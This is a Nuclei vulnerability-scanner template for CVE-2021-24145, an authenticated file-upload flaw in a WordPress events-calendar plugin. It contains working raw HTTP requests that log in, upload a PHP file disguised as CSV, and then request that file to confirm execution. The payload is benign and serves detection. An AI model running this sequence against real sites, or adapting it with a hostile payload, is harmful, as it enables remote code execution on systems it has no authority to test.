nuclei-templates/cves/2021/CVE-2021-24145.yaml

67 lines
2.4 KiB
YAML

id: CVE-2021-24145
info:
name: WordPress Modern Events Calendar Lite <5.16.5 - Authenticated Arbitrary File Upload
author: theamanrawat
severity: high
description: |
WordPress Modern Events Calendar Lite plugin before 5.16.5 is susceptible to authenticated arbitrary file upload. The plugin does not properly check the imported file, allowing PHP files to be uploaded and/or executed by an administrator or other high-privilege user using the text/csv content-type in the request. This can possibly lead to remote code execution.
reference:
- https://wpscan.com/vulnerability/f42cc26b-9aab-4824-8168-b5b8571d1610
- https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.15.5.zip
- https://github.com/dnr6419/CVE-2021-24145
- https://nvd.nist.gov/vuln/detail/CVE-2021-24145
remediation: Fixed in version 5.16.5.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2021-24145
cwe-id: CWE-434
metadata:
verified: "true"
tags: auth,wpscan,cve,wordpress,wp-plugin,wp,modern-events-calendar-lite,cve2021,rce
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
POST /wp-admin/admin.php?page=MEC-ix&tab=MEC-import HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------132370916641787807752589698875
-----------------------------132370916641787807752589698875
Content-Disposition: form-data; name="feed"; filename="{{randstr}}.php"
Content-Type: text/csv
<?php echo 'CVE-2021-24145'; ?>
-----------------------------132370916641787807752589698875
Content-Disposition: form-data; name="mec-ix-action"
import-start-bookings
-----------------------------132370916641787807752589698875--
- |
GET /wp-content/uploads/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
req-condition: true
cookie-reuse: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- contains(all_headers_3, "text/html")
- status_code_3 == 200
- contains(body_3, 'CVE-2021-24145')
condition: and
# Enhanced by md on 2023/03/21